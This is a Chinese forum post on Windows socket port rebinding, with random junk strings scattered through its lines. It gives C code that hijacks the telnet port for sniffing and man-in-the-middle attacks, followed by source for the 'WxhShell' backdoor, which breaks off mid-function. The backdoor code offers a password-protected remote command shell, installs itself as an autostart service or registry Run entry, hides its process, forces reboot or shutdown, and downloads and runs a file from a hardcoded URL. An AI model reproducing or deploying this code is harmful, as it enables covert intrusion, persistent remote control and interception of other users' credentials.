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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @P% &Dha  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %=GnGgu  
[1N*mY;  
  saddr.sin_family = AF_INET; 0"ZRJl<)[I  
pN?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0{ \AP<  
%POoyH@D}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Peb;XI  
'(ql7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mio\}S A  
+}% 4]O;  
  这意味着什么?意味着可以进行如下的攻击: './s'!Lj  
n&&X{Rl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ZT(@w  
)y._]is)b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kvKbl;<&#  
@<l7"y;\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $+-2/=>Xk  
*;Sj&O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^xFZ;Yf  
@*!8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {8'I+-  
FL- sXg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U#-89.x  
>=$( ,8"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U }xRvNz  
GXf"a3  
  #include y1z4qSeM  
  #include ]Z6==+mCP  
  #include <w<&,xM  
  #include    kbiMqiPG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jgbE@IA@!'  
  int main() ~:v" TuuK  
  { {e,S}:$g4  
  WORD wVersionRequested; X)x$h{ OE  
  DWORD ret; i#=s_v8  
  WSADATA wsaData; SBZqO'}7  
  BOOL val; J1KV?aR  
  SOCKADDR_IN saddr; p78X,44xg  
  SOCKADDR_IN scaddr; } U\n:@:2B  
  int err; CWHTDao  
  SOCKET s; r< sx On  
  SOCKET sc; )w=ehjV^m  
  int caddsize; 4:WN-[xX  
  HANDLE mt; -lAX-W 0  
  DWORD tid;   :>+}|(v  
  wVersionRequested = MAKEWORD( 2, 2 ); fIWOo >)D  
  err = WSAStartup( wVersionRequested, &wsaData ); &3#19v7/  
  if ( err != 0 ) { EA) K"C  
  printf("error!WSAStartup failed!\n"); n j0!  
  return -1; H}Z\r2  
  } R utRA  
  saddr.sin_family = AF_INET; <xv@us7  
   Bs:INvhYW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lpi^<LQ@l  
3\JEp,5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~|QhWgq  
  saddr.sin_port = htons(23); AU0pJB'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !,WO]O v  
  { 8&t3a+8l  
  printf("error!socket failed!\n"); `o4alK\  
  return -1; cdY|z]B  
  } P+K< /i  
  val = TRUE; DPqk~KCM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RE 6d&#N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :|%k*z  
  { i-Er|u; W  
  printf("error!setsockopt failed!\n"); }g&A=u_2  
  return -1; % s&l^&ux  
  } ny'?Hl'Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~?E.U,R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qJN!L))  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,E ]vM&  
JiH^N!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0[E}[{t`  
  { ^6g^ Q*"  
  ret=GetLastError(); }Y9= 3X  
  printf("error!bind failed!\n"); !W2dMD/  
  return -1; meJ%mY  
  } b5!D('w>]  
  listen(s,2); xfegi$  
  while(1) P-]u&m/6  
  { ,v\^efc:%  
  caddsize = sizeof(scaddr); Q>d<4]`  
  //接受连接请求 Z/G`8|A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7H=V|Btnc  
  if(sc!=INVALID_SOCKET) K)DpC*j  
  { ^?<gz!(-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; ,9:1.L  
  if(mt==NULL) k7ye,_&>  
  { g$S|CqRG  
  printf("Thread Creat Failed!\n"); Bl$Hg,in-  
  break; .s-V:k5  
  } r&rip^40  
  } Rq@M~;p  
  CloseHandle(mt); ~S\y)l\wZ  
  } .30eO_msK  
  closesocket(s); w#qE#g %1  
  WSACleanup(); "Sb<"$ :  
  return 0; ,uo K'_  
  }   ! mb<z^>5  
  DWORD WINAPI ClientThread(LPVOID lpParam) xwSi.~.  
  { o{[w6^D7  
  SOCKET ss = (SOCKET)lpParam; 4(nwi[1Y  
  SOCKET sc; }z,f8Yz  
  unsigned char buf[4096]; 15J t @{<r  
  SOCKADDR_IN saddr; (ay((|)  
  long num; [ikW3 '99,  
  DWORD val; &9OnN<mT1  
  DWORD ret; 3q-Xj:FP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2]:Z7Ji  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ci9]#)"c  
  saddr.sin_family = AF_INET; )i/x%^ca$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }kZ)|/]kn  
  saddr.sin_port = htons(23); GtLn h~)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !-AK@`i.  
  { F<0GX!p4u  
  printf("error!socket failed!\n"); ^!A@:}t>  
  return -1; nq%GLUH   
  } Q@(tyW+8U@  
  val = 100; Fa+#bX7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uz;zmK  
  { FE'F@aS\  
  ret = GetLastError(); 1fMl8[!JLu  
  return -1; 1ir~WFP  
  } 4{6XZ_J1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pq +~|  
  { i87+9X  
  ret = GetLastError(); bIy:~z5   
  return -1; '*=kt  
  } sjj,q?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k#"}oI{< 6  
  { v|IG G'r  
  printf("error!socket connect failed!\n"); Q@ghQGn#  
  closesocket(sc); `xsU'Wd^<  
  closesocket(ss); |2!cPf^8  
  return -1; |R3A$r#-  
  } 7N8a48$8  
  while(1) ~y" ^t@!E  
  { "w&G1kw5I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jrN"en  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w,VUWja  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~{$5JIpCm  
  num = recv(ss,buf,4096,0); `nv82v  
  if(num>0) oi\e[qE  
  send(sc,buf,num,0); q[ 5&  
  else if(num==0) Dssecc'  
  break; Yq0jw&v  
  num = recv(sc,buf,4096,0); ' }T6dS  
  if(num>0) ~#PC(g  
  send(ss,buf,num,0); 7-j=he/  
  else if(num==0) ?TMrnR/d  
  break; "yf#sEabV  
  } q~6((pWi|  
  closesocket(ss); -_T@kg[0zB  
  closesocket(sc); S*'  
  return 0 ; bR}=bp4K  
  } :d} @Z}2sD  
#G\;)pT  
hZ~ \Z S7  
========================================================== EL:Az~]V  
JG*Lc@Q  
下边附上一个代码,,WXhSHELL Dl=qss~g+  
v~KgCLo  
========================================================== ~T:L0||.%9  
i1ss}JJp*  
#include "stdafx.h" ] :n! \G  
]#P>wW  
#include <stdio.h> |YWX.-aeo  
#include <string.h> {Ax{N  
#include <windows.h> cwBf((~  
#include <winsock2.h> pa2cM%48  
#include <winsvc.h> p^X \~Yibs  
#include <urlmon.h> P<MNwdf(+  
|n*<H|  
#pragma comment (lib, "Ws2_32.lib") 1gh<nn  
#pragma comment (lib, "urlmon.lib") -Ou@T#h"  
a9niXy}a(  
#define MAX_USER   100 // 最大客户端连接数 F8OE  
#define BUF_SOCK   200 // sock buffer ST25RJC  
#define KEY_BUFF   255 // 输入 buffer I7} o>{  
I1fUV72  
#define REBOOT     0   // 重启 s*UO!bHa  
#define SHUTDOWN   1   // 关机 !fK9YW(Im  
99u9L)  
#define DEF_PORT   5000 // 监听端口 +kZW:t!-  
sY@x(qkIOc  
#define REG_LEN     16   // 注册表键长度 <p\iB'y  
#define SVC_LEN     80   // NT服务名长度 ofHe8a8  
qcR"i+b  
// 从dll定义API ~[3B<^e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AA~6r[*~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2Pic4Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6R';[um?q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {n-6e[  
THf*<|  
// wxhshell配置信息 QTbv3#  
struct WSCFG {  KSB{Z TE  
  int ws_port;         // 监听端口 $Y&rci]  
  char ws_passstr[REG_LEN]; // 口令 A-5'OI  
  int ws_autoins;       // 安装标记, 1=yes 0=no qgk6 \&K[  
  char ws_regname[REG_LEN]; // 注册表键名 L>{p>  
  char ws_svcname[REG_LEN]; // 服务名 WbH#@]+DN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mrId`<L5l{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OM 4, Sevk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :8jaW?~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gk2R:\/Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0MX``/Z72  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jw$[b=sa  
$*z>t*{7  
}; j/PNi@  
18];fC  
// default Wxhshell configuration $9Asr07  
struct WSCFG wscfg={DEF_PORT, iR6w)  
    "xuhuanlingzhe", $pGdGV\H  
    1, N_eZz#);  
    "Wxhshell", KL4vr|i,  
    "Wxhshell", z[bS soK`  
            "WxhShell Service", Jrm 9,7/  
    "Wrsky Windows CmdShell Service", P/;d|M(  
    "Please Input Your Password: ", 5*IfI+}  
  1, D0HLU ~o  
  "http://www.wrsky.com/wxhshell.exe", K3On8  
  "Wxhshell.exe" rA6lyzJ  
    }; / +9o?Kxya  
1@vlbgLr@  
// 消息定义模块 c037#&Q%#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )MlT=k6S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E[E7GsmqV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rXG?'jN  
char *msg_ws_ext="\n\rExit."; Kb5 YA  
char *msg_ws_end="\n\rQuit."; $2lPUQZ<5  
char *msg_ws_boot="\n\rReboot..."; 41Htsj  
char *msg_ws_poff="\n\rShutdown..."; +?[,{WtV  
char *msg_ws_down="\n\rSave to "; e SlZAdK  
-`<KjS  
char *msg_ws_err="\n\rErr!"; NQ"`F,T  
char *msg_ws_ok="\n\rOK!"; K6X}d,g  
U-0A}@N  
char ExeFile[MAX_PATH]; LCf)b>C*  
int nUser = 0; SFQYrY  
HANDLE handles[MAX_USER]; oP 4z>  
int OsIsNt; [9>h! khs  
ic]b"ItD  
SERVICE_STATUS       serviceStatus; (@"5:M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]31UA>/TI  
_)6N&u8  
// 函数声明 D<:J6W7]  
int Install(void); q|_t=YM@  
int Uninstall(void); klwNeGF]N  
int DownloadFile(char *sURL, SOCKET wsh); 02F[4c~  
int Boot(int flag); T_=iJ: Q  
void HideProc(void); S B# Y^!  
int GetOsVer(void); Y&JK*d  
int Wxhshell(SOCKET wsl); do>,ELS+m  
void TalkWithClient(void *cs); oR_qAb  
int CmdShell(SOCKET sock); F:B 8J4/  
int StartFromService(void); {ICW"R lcs  
int StartWxhshell(LPSTR lpCmdLine); EBl?oN7E  
U81--'@y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;"N4Yflz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q+}KAk|]V  
;ZVT[gi*  
// 数据结构和表定义 p,'Z{7HG  
SERVICE_TABLE_ENTRY DispatchTable[] = E)}& p\{E  
{ -xk.wWpV  
{wscfg.ws_svcname, NTServiceMain}, 01^+HEbm  
{NULL, NULL} /suW{8A(E  
};  5gZ6H/.  
bxrT[]  
// 自我安装 9KgGK cy%  
int Install(void) qVDf98  
{ ccPTJ/%$  
  char svExeFile[MAX_PATH]; jFr[T  
  HKEY key; !i{9wI  
  strcpy(svExeFile,ExeFile); ~#^suy?  
4,)EG1  
// 如果是win9x系统,修改注册表设为自启动 N ">4I)  
if(!OsIsNt) { lNwqWOWy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v+b#8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B2/d%B  
  RegCloseKey(key); #FNSE*Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N9}27T+4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xB<^ar  
  RegCloseKey(key); [)wLji7MK  
  return 0; =}1)/gcM  
    } ^ b`wf"A  
  } NQpC]#n  
} kQt#^pO)  
else { b$W~w*O   
Xvr7qowL  
// 如果是NT以上系统,安装为系统服务 }8e_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R|u2ga ~  
if (schSCManager!=0) \Hs*46@TC  
{ bMp[:dw`y  
  SC_HANDLE schService = CreateService 99G'`NO  
  ( *+|,rcI  
  schSCManager, hq|I%>y  
  wscfg.ws_svcname, {IgL H`@  
  wscfg.ws_svcdisp, |mp~d<&  
  SERVICE_ALL_ACCESS, [0M`uf/u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 92 oUQ EK  
  SERVICE_AUTO_START, Krw'|<  
  SERVICE_ERROR_NORMAL, 1&.q#,EMn(  
  svExeFile, .X](B~\!  
  NULL, bCL/"OB  
  NULL, V7}]39m(s  
  NULL, \M U-D,@  
  NULL, E3"j7y[S  
  NULL ZR8%h<  
  ); W Yo>Md 8  
  if (schService!=0) \'9(zbvz9  
  { vBLs88  
  CloseServiceHandle(schService); 4Wk`P]?^  
  CloseServiceHandle(schSCManager); ]*]#I?&'Hx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~LF1$Cai  
  strcat(svExeFile,wscfg.ws_svcname); qvC2BQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?[!_f$50]P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %)#yMMhR  
  RegCloseKey(key); Bag_0.H&m  
  return 0; \TS.9 >\  
    } jb83Y>  
  } &WJ;s*  
  CloseServiceHandle(schSCManager); Min {&?a  
} 'Y22HVUX  
} ' TO/i:{\  
VoC|z Rd_  
return 1; ]MmFtdvE  
} H g04pZupN  
8JojKH  
// 自我卸载 044Q>Qz,  
int Uninstall(void) @ *&`1  
{ #9rCF 3P  
  HKEY key; AK//]   
oEJxey]B7  
if(!OsIsNt) { ufB9\yl{~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %zYTTPLZ  
  RegDeleteValue(key,wscfg.ws_regname); 9ePR6WS4  
  RegCloseKey(key); 2= )V"lR\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qS/ 'Kyp_  
  RegDeleteValue(key,wscfg.ws_regname); ~sVbg$]\G  
  RegCloseKey(key); t;b1<TLn0  
  return 0; b>@fHmpwD  
  } #}+_Hy  
} _ 5/3RN  
} Zfc{}ius  
else { MZ%S3'  
z Ek/#&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l<UA0*t  
if (schSCManager!=0) xzb{g,c   
{ {`+:!X   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q22@ZRw  
  if (schService!=0) 1Gw_S?$7  
  { IXU~& 5&J  
  if(DeleteService(schService)!=0) { gJg%3K~,  
  CloseServiceHandle(schService); c|F26$rv  
  CloseServiceHandle(schSCManager); |]'gd)%S\  
  return 0; 3^`.bm4 ^  
  } e/Y& d9` I  
  CloseServiceHandle(schService); F> b<t.yV  
  } 'e*:eBoyb  
  CloseServiceHandle(schSCManager); 1>)uI@?Rb  
} &G aI  
} kPYQcOK8  
',s{N9  
return 1; J@RV^2  
} ^)1!TewCY  
oR}'I  
// 从指定url下载文件 ]8|peo{  
int DownloadFile(char *sURL, SOCKET wsh) *lyRy/POB  
{ [(iJj3s!  
  HRESULT hr; U?8X]  
char seps[]= "/"; lTZcbaO?]  
char *token; ~-BIU Z;  
char *file; X({R+  
char myURL[MAX_PATH]; TL@{yJ;s  
char myFILE[MAX_PATH]; 2l}3L  
,a\pdEPj  
strcpy(myURL,sURL); WZf}1.Mh*  
  token=strtok(myURL,seps); #IxCI)!I{[  
  while(token!=NULL) 4p]hY!7  
  { aq$adPtu  
    file=token; 2rqYm6  
  token=strtok(NULL,seps); Ew2ksZ>B]&  
  } cxxrvP-  
p 4Y 2AQ9  
GetCurrentDirectory(MAX_PATH,myFILE); fHacVj J  
strcat(myFILE, "\\"); G;;iGN  
strcat(myFILE, file); /;9]LC.g  
  send(wsh,myFILE,strlen(myFILE),0); 3k* U/*  
send(wsh,"...",3,0); cp 5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +\~Mx>Cn  
  if(hr==S_OK) *h2)$^P%  
return 0; CDGN}Q2_  
else |^t8ct?x~  
return 1; -MItZ  
BZRC0^-C@  
}  `AxhA.&V  
S@vLh=65  
// 系统电源模块 S@eI3Pk E  
int Boot(int flag) Y 9~z7  
{ :a y-2  
  HANDLE hToken; $jNp-5+Q;  
  TOKEN_PRIVILEGES tkp; v1~`76^  
;T?4=15c  
  if(OsIsNt) { aDE)Nf}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -,} ppTG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qJLtqv  
    tkp.PrivilegeCount = 1; 5E}~iC&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; roE*8:Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e"6!0Py#*  
if(flag==REBOOT) { &#qy:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &ajpD sz;  
  return 0; s9b 6l,Z  
} @Xq3>KJ_)H  
else { *8j2iu-|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O;~d ao  
  return 0; A+bU{oLr  
} 06~HVv  
  } o;2QZ"v  
  else { 5b-: e? |  
if(flag==REBOOT) { ET}Dh3A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5<KY}  
  return 0; PK|"+I0  
} 9?#L/  
else { $r87]y!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H}B%OFI\+  
  return 0; "R v],O"  
} isR|K9qf^  
} 0N19R5NN8  
l:H}Y3_I  
return 1; h$~ \to$C  
} dS m; e_s  
c;pv< lX'  
// win9x进程隐藏模块 Gw)>i45 :  
void HideProc(void) ^z\*; f  
{ \%+5p"Z<  
{@w!kl~8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OFe?T\dQn  
  if ( hKernel != NULL ) +>wBGVvS  
  {  dr iw\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =vZF/r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~i y]X:U  
    FreeLibrary(hKernel); D!d1%hac  
  } 26Jb{o9Z<  
O#962\  
return; Juqe%he`  
} uWE :3  
H~Fb=.h]U  
// 获取操作系统版本 6@[7  
int GetOsVer(void) #N'W+M /  
{ &?xZ Hr`  
  OSVERSIONINFO winfo; oe{K0.`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qoXncdDHZ  
  GetVersionEx(&winfo); O^,%V{]6\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w`$M}oX(  
  return 1; #[C=LGi  
  else _pS |bqF  
  return 0; aX$Q}mgb  
} F+3}Gkn  
efu'PfZ`&  
// 客户端句柄模块 M'D l_dx-  
int Wxhshell(SOCKET wsl) 2)zAX"#/  
{ t+?m<h6w;l  
  SOCKET wsh; nPU=n[t8O  
  struct sockaddr_in client; H${5pY_M  
  DWORD myID; ?' :v): J}  
qXw^y  
  while(nUser<MAX_USER) BrO" _  
{ gx',~  
  int nSize=sizeof(client); @jxAU7!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (6Tvu5*4U  
  if(wsh==INVALID_SOCKET) return 1; L H8iHB  
' M'k$G@Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^L@2%}6b`  
if(handles[nUser]==0) |r%NMw #y  
  closesocket(wsh); Qmg2lP.)  
else 4Lb!Au|Y  
  nUser++; Jb (CH4|7  
  } >3Mzs AH\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %qYiE!%&  
5u89?-UD  
  return 0; +338z<'Z!  
} ._i|+[  
w 4fz!l]  
// 关闭 socket FP_q?=~rFs  
void CloseIt(SOCKET wsh) OD O'!T-  
{ n,_q6/!  
closesocket(wsh); #{DX*;1m  
nUser--; 2]}4)_&d<e  
ExitThread(0); ni gn" r  
} 5mYX#//:  
DQ*T2*L  
// 客户端请求句柄 \~!!h.xR  
void TalkWithClient(void *cs) NtfzAz/  
{ (& UQ^  
MOia] 5  
  SOCKET wsh=(SOCKET)cs; a7@':Rb n  
  char pwd[SVC_LEN]; Oe~x,=X)  
  char cmd[KEY_BUFF]; pRys 5/&v  
char chr[1]; 3HEm-pok  
int i,j; / :z<+SCh  
`]7==c #Y  
  while (nUser < MAX_USER) { pv[Gg^  
Kt#_Ln_6  
if(wscfg.ws_passstr) { bpx ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >2t.7UhDI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e1OGGF%E n  
  //ZeroMemory(pwd,KEY_BUFF); 77b^d9! ~  
      i=0; ZO#f)>s2  
  while(i<SVC_LEN) { H-&T)  
vk0b b3){D  
  // 设置超时 'w z6Zt  
  fd_set FdRead; K'_qi8Z  
  struct timeval TimeOut; B%^W$7 q  
  FD_ZERO(&FdRead); %;eD.If}  
  FD_SET(wsh,&FdRead); omMOA  
  TimeOut.tv_sec=8; 2rV]n  
  TimeOut.tv_usec=0; , UsY0YC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xWnOOE$i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4OaU1Y[  
'L@kZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T!7B0_  
  pwd=chr[0]; lsaA    
  if(chr[0]==0xd || chr[0]==0xa) { r@a]fTf  
  pwd=0; ~NMx:PP  
  break; ve]hE}o/}  
  } 2{Y~jYt{h  
  i++; XkPE%m_5D  
    } sg8[TFX@Z  
p9>1a j2a  
  // 如果是非法用户,关闭 socket uc>":V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vak\N)=u  
} ?o6X_UxW!  
$<QrV,T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8c\\-{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~].?8C.>*  
[=BccT:b  
while(1) { o(k{Ed  
45?% D}  
  ZeroMemory(cmd,KEY_BUFF); ,v%' 2[}  
uOO\!Hqq  
      // 自动支持客户端 telnet标准   jF}-dfe  
  j=0; E<l/o5<nC  
  while(j<KEY_BUFF) { U`aB&[=$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F8S>Ld  
  cmd[j]=chr[0]; e }Mf  
  if(chr[0]==0xa || chr[0]==0xd) { eaC%& k  
  cmd[j]=0; q6,z 1A"  
  break; bksv2@ar  
  } )bWopc  
  j++; \xlG3nz  
    } 0|Xz-Y  
s&hr$`V4  
  // 下载文件 _%[po%]  
  if(strstr(cmd,"http://")) { [j}JCmWY   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :r>^^tGT!  
  if(DownloadFile(cmd,wsh)) c: r25  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $nb.[si\  
  else o_1N "o%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]rv4O@||w  
  } W=#AfPi$&  
  else { ?-zuy US  
$J^fpXO  
    switch(cmd[0]) { AhD C5ue=  
  F"bz<{  
  // 帮助 o] Xt2E  
  case '?': { V)5K/ U{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =W &Mt  
    break; Wqkzj^;"G  
  } y^"@$   
  // 安装 64mg:ed&  
  case 'i': { f4 qVUU  
    if(Install()) pCDN9*0/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.6|\{*sG  
    else -72EXO=|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*5IRzK1%0  
    break; c"v75lW-J  
    } l>MDCqV  
  // 卸载 6Cz O ztn  
  case 'r': { xorafL  
    if(Uninstall()) R{fJ"Q5'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 43pe6 ^.  
    else x9,jXd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 3|t5Ia  
    break; =gs-#\%  
    } +U1 Ir5Lx  
  // 显示 wxhshell 所在路径 BY.k.]/  
  case 'p': { jM&di  
    char svExeFile[MAX_PATH]; l2LLM{B  
    strcpy(svExeFile,"\n\r"); s/=%kCo  
      strcat(svExeFile,ExeFile); K8aqC{  
        send(wsh,svExeFile,strlen(svExeFile),0); vjq2(I)u  
    break; uN:KivVe  
    } mUbm3JIjJ  
  // 重启 Z(7kwhP[`  
  case 'b': { =KUmvV*\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mwo:+^v(  
    if(Boot(REBOOT)) v,S5C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~i9~jA  
    else { z 7ik/>d?  
    closesocket(wsh); {$,\Qg  
    ExitThread(0); t&xoi7!$  
    } ejlns ~  
    break; rNR7}o~qo  
    } d?8OY  
  // 关机 9H/>M4RT  
  case 'd': { %W"u4 NT7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \c -m\|  
    if(Boot(SHUTDOWN)) {_Wrs.a'8  
